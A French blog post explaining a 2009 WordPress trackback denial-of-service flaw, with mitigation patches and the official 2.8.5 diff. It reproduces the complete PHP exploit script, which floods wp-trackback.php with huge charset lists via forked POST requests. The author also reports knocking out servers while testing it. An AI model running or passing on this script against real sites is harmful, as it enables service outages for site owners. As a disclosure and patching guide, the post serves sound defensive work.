36. C’est le nombre de lignes de PHP contenues dans l’exploit que je viens de tester avec intérêt.
4. C’est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c’est l’heure à laquelle j’écris ce billet: vous m’excuserez donc pour les fautes d’orthographes du billet cet article c’est un peu une « Breaking News ».

 

Aujourd’hui a donc été release un « WordPress Exhaustion Exploit », c’est une appellation relativement savante pour dire que ca peut faire sauter les services d’un serveur en 36 lignes de code. Je viens de le tester sur l’un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n’est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.

 

L’attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c’est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.

 

So, la faille ? Elle se situe au niveau de la gestion de l’encodage du titre.

if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}

En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:

mb_convert_encoding(chaine_que_l’on_veut_convertir, nouveau_charset, charset_d_origine)

Dans charset_d_origine on peut spécifier plusieurs charsets. Si l’on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu’elle a trouvé le meilleur, elle va transformer chaine_que_l’on_veut_convertir en nouveau_charset.

 

Pour exploiter cette faiblesse dans le code, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu’il y a 23 333 charsets d’origine possible (« UTF-8, » fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l’on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l’on envoie la requête une fois, le serveur la traite, maintenant si on répète l’opération sur un délai très court le serveur apprécie moins. C’est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.

<?
if(count($argv) < 2)
die(« You need to specify a url to attack\n »);
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die(« The url should have http:// in front of it, and should be complete.\n »);
$path = (count($data)==2)? »":$data['path'];
$path = trim($path,’/').’/wp-trackback.php’;
if($path{0} != ‘/’)
$path = ‘/’.$path;
$b = «  »; $b = str_pad($b,140000,’ABCEDFG’).utf8_encode($b);
$charset = «  »;
$charset = str_pad($charset,140000, »UTF-8, »);
$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die(« unable to connect to: « .$data['host']. »\n »);
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, « POST $path HTTP/1.1\r\n »);
fputs($fp, « Host: « .$data['host']. »\r\n »);
fputs($fp, « Content-type: application/x-www-form-urlencoded\r\n »);
fputs($fp, « Content-length: « .strlen($str). »\r\n »);
fputs($fp, « Connection: close\r\n\r\n »);
fputs($fp, $str. »\r\n\r\n »);
echo « hit!\n »;
}
}
?>

Pour l’enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:

$charset = $_POST['charset'];

et la remplacer par:

$charset = str_replace(”,”,” »,$_POST['charset']);
if(is_array($charset)) { exit; }

Ce patch permet d’enlever les virgules, du coup le script n’a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L’autre façon de passer un charset_d_origine à la fonction c’est un tableau, là on va pas faire dans la dentelle, si c’est un tableau, on exit. Sinon vous pouvez toujours deny from all wp-trackback.php ;-)

 

L’exploit a été posté sur Full-Disclosure aujourd’hui à 14h30. Il semble avoir été découvert par rooibo et amélioré par Zerial. Ce n’est vraiment pas impossible que d’ici quelques jours de joyeux lurons s’amusent à attaquer les WordPress des bloggeurs « influents » les plus connus. Rooibo explique sur son blog qu’il a avertit l’équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable. Le correctif proposé est celui de roobio, je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

Rapide update: WordPress vient de release la version 2.8.5.

Voici le diff sur le fichier qui nous intéresse:

john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
— wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
+++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
@@ -50,7 +50,7 @@
$blog_name = stripslashes($_POST['blog_name']);
if ($charset)
- $charset = strtoupper( trim($charset) );
+ $charset = str_replace( array(‘,’, ‘ ‘),  », strtoupper( trim($charset) ) );
else
$charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

Sinon j’ai fait le diff complet ici, car je ne trouve pas l’officiel chez WordPress: diff WordPress-2.8.4 WordPress 2.8.5

Partagez cet article !